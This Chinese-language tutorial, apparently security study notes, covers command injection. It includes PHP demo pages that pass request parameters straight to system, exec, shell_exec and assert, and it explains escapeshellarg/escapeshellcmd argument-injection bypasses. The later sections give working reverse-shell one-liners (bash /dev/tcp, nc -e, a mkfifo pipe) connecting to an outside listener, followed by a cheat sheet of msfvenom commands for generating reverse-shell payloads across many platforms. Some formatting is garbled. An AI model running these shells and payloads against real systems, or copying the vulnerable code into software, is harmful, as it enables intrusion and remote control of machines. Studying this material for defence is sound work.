一、区别
命令注入:直接执行系统中的指令
代码注入:靠执行脚本来调用系统命令
二、命令连接符
符号 | 说明 | 注 |
; | 前后命令依次执行 | 注意前后顺序,若更变目录,则必须在“一句”指令内 |
|| | 前命令执行失败后才执行后命令 | - |
&& | 前命令执行成功后才执行后命令 | - |
& | 前台执行后任务,后台执行前任务 | 如 a&b&c 则显示c的执行信息,a b在后台执行 |
| | 管道,只输出后者的命令 | 当第一条命令失败时,它仍然会执行第二条命令 |
``(反引号,仅linux) | 即命令替换,echo `date`,输出系统时间 | 使用反引号运算符的效果与函数shell_exec()相同,但在激活了安全模式或者关闭了shell_exec()时是无效的 |
$(command) | 这是命令替换的不同符号。与反引号效果一样。echo $(date),输出系统时间. | 按理说更推荐用这种方法,而不是反引号。 |
注:
三、命令执行函数
PHP
- system与passthru:用来执行一个外部的应用程序并将相应的执行结果输出
string system(string command, int&return_var)
- command:执行的命令
- return_var:命令执行后的状态
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
system($str); //关键
// passthru($str); //替换,一样的效果
}
?>
构造参数http://127.0.0.1/Command_Execution_test1.php?cmd=ipconfig
,有:
- exec:可以用来执行一个外部的应用程序
string exec (string command, array& output, int & return_var)
- command:执行的命令
- output:命令执行后的输出
- return_var:命令执行后的状态
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print exec($str); //关键
}
?>
构造与之前的一样。
- shell_exec:执行shell命令并返回输出的字符串
string shell_exec (string command)
- command:执行的命令。
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
$output = shell_exec($str);//关键
echo "<pre>$output</pre>";
}
?>
构造与之前的一样。
- 反引号与$(command)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print `$str`;
// print $($str)) //替换:$(command),效果一样
}
?>
构造与之前的一样。
- popen与proc_popen:函数用来打开进程文件指针,打开一个该进程的管道,接下来便可以对该进程进行操作,可以执行OS命令,但是不返回命令结果。(第一个是单向,第二个是双向),出现得比较少
popen (string $command , string $mode ): resource
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
proc_open() 提供了更加强大的控制程序执行的能力(参考)
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
$handle=popen($str,'r');
pclose($handle);
}
?>
构造参数:http://127.0.0.1/Command_Execution_test4.php?cmd=ipconfig>>1.txt
,可以在目录下看到1.txt
- assert与eval:都是动态执行命令,此命令不是系统的cmd命令哦。
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
assert($str); //执行的是PHP中的命令函数
}
?>
构造参数1:http://127.0.0.1/Command_Execution_test2.php?cmd=print_r(scandir(%27../%27))
构造参数2:http://127.0.0.1/Command_Execution_test2.php?cmd=phpinfo()
- pcntl_exec:
参考链接:
三、绕过
3.1 escapeshellarg与escapeshellcmd(参数注入)
PHP内置的命令执行函数,都只接受一个“字符串”作为参数。而在内核中,这个字符串将被直接作为一条shell命令来调用,这种情况下就极为容易出现命令注入漏洞。因此,php准备了两个过滤函数(就是题目的两个)。举个例子:
CODE:
<?php
if($_GET['cmd']){
$cmd=$_GET['cmd'];
$para=$_GET['para'];
echo '<strong>Original cmd:</strong>'.$cmd.' '.$para;
echo '<br>';
$str=escapeshellcmd($cmd.' '.$para);
echo '<strong>After escapeshellcmd:</strong>'.$str;
echo '<br>';
$str=$cmd.' '.escapeshellarg($para);
echo '<strong>After escapeshellarg:</strong>'.$str;
echo '<br>';
$str=escapeshellcmd($cmd.' '.escapeshellarg($para));
echo '<strong>Final cmd:</strong>'.$str;
echo '<br></br>RESULT:<br>';
$output = shell_exec($str);
echo "<pre>$output</pre>";
}
?>
URL_1:http://127.0.0.1/Command_Execution_defent1.php?cmd=ping 192.168.1.1||echo 1
OUTPUT_1:
Original cmd:ping 192.168.1.1||echo 1
After escapeshellcmd:ping 192.168.1.1^|^|echo 1
After escapeshellarg:ping "192.168.1.1||echo 1"
Final cmd:ping ^"192.168.1.1^|^|echo 1^"
RESULT:
Ping 请求找不到主机 192.168.1.1||echo 1。请检查该名称,然后重试。
注:ping ^"192.168.1.1^"
,这个指令竟然能执行!
URL_2:http://127.0.0.1/Command_Execution_defent1.php?cmd=ping¶=-n 2 192.168.1.1
OUTPUT_2:
Original cmd:ping -n 2 192.168.1.1
After escapeshellcmd:ping -n 2 192.168.1.1
After escapeshellarg:ping "-n 2 192.168.1.1"
Final cmd:ping ^"-n 2 192.168.1.1^"
RESULT:
必须为选项 -n 2 192.168.1.1 提供值。
由此可见两者的功能
函数 | 说明 |
escapeshellarg | 1. 防止出现第二个参数(只能有一个参数) 2. 因整体para加引号,所以不能执行其他指令 |
escapeshellcmd | 1. 可以指定不限制数量的参数 2. 防止执行多个命令(黑名单禁止分号,&等符号) |
但是,我们仍然可以将参数传给第一个指令,也就是可以将新选项传递给命令。这就可能构成参数注入。
如URL_2,我们仍然可以传递多个参数,这样,就可以利用新选项执行命令(有find -exec ?
与tar --use-compress-program ?
)
而URL_1,我们看到整一个para变成一个参数,这样,若有选项[option]可以执行命令,则可以整体传递过去(有mysql -uuser -ppassword -e ! id
)
参考链接
3.2 常见绕过
字符 | 绕过例子 | 注 |
空格 |
| - |
/ |
| - |
推荐:
四、GET shell
4.1 反弹shell
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。为什么要反弹,什么是反弹?先说正向链接,是攻击者连接被害者,而反弹就是被害者主动连接攻击者。这样做的原因是正向连接困难(如受害主机ip不断更换,有防火墙等)。【参考】
常见反弹shell:(重点在于理解重定向)
bash:bash -i >& /dev/tcp/10.10.10.1/6666 0>&1
- 标准输入输出有三种:0=stdin(输入);1=stdout(输出);2=stderr(错误);
- 重定向符号(<,>):<表示输入重定向,>表示输出重定向;
bash -i
:表示交互式shell(你来我往)>
与>&
:举个例子echo 1>2
表示将标准输出stdout输出到2
这个文件,而echo 1>&2
表示将标准输出stdout输出到标准输出stderr里头。&
的作用不是后台运行,&
和<>
连用是为了将纯数字名文件和文件描述符区分开。再举个例子:echo '1'>1
表示将字符1
输出到文件1
中/dev/tcp/10.10.10.1/6666
:体现linux一切皆是文件的思想,当然,这个文件实际是不存在的。>& /dev/tcp/10.10.10.1/6666:
>&word和
&>word都表示的是把标准输出和标准错误同时重定向到某个文件,都相当于
>word 2>&1`。即,把标准输出定向到文件6666中,也把标准错误定向到标准输出中(然后再定向到文件6666中)。总的来说,把标准输出与标准错误都定向到文件6666中。0>&1
:表示将标准输入重定向到标准输出里面- 整合一下:建立一个交互式shell,将标准输出与标准错误定向到链接6767的端口上,同时将6767端口上的输出作为本机的输入。实现链接6767端口的攻击机能在受害机(执行shell的)上执行命令并获取信息。
例子:
- 主机(10.10.10.1),使用netcat,对6666端口进行监听,命令如下
nc.exe lvp 6666
。其中l
指listen,v
指交互,p
指port端口 - 受害机执行命令
bash -i >& /dev/tcp/10.10.10.1/6666 0>&1
- 得到画面如下:
NetCat:使用nc中的-e
选项,程序重定向,一旦连接,就执行。若无-e
选项,则使用另外一种方式。
例子1:
- 主机(10.10.10.1),使用netcat,对6666端口进行监听,命令如下
nc.exe lvp 6666
。 - 受害机执行命令1
nc -e /bin/sh 10.10.10.1 6666
,连接10.10.10.1的同时重定向shell给主机。
或者执行命令2rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 6666 >/tmp/f
- 得到画面如下:
4.2 msf getshell
Msfvenom
生成木马/getshell脚本。生成方式:
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< 监听ip> LPORT=< 监听端口> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f exe > shell.exe
PS
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f psh-reflection >xxx.ps1
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f macho > shell.machoWeb Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.pl
APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> R > /1.apk
Meterpreter
包括入侵与后渗透等内容。
以上不详细说了。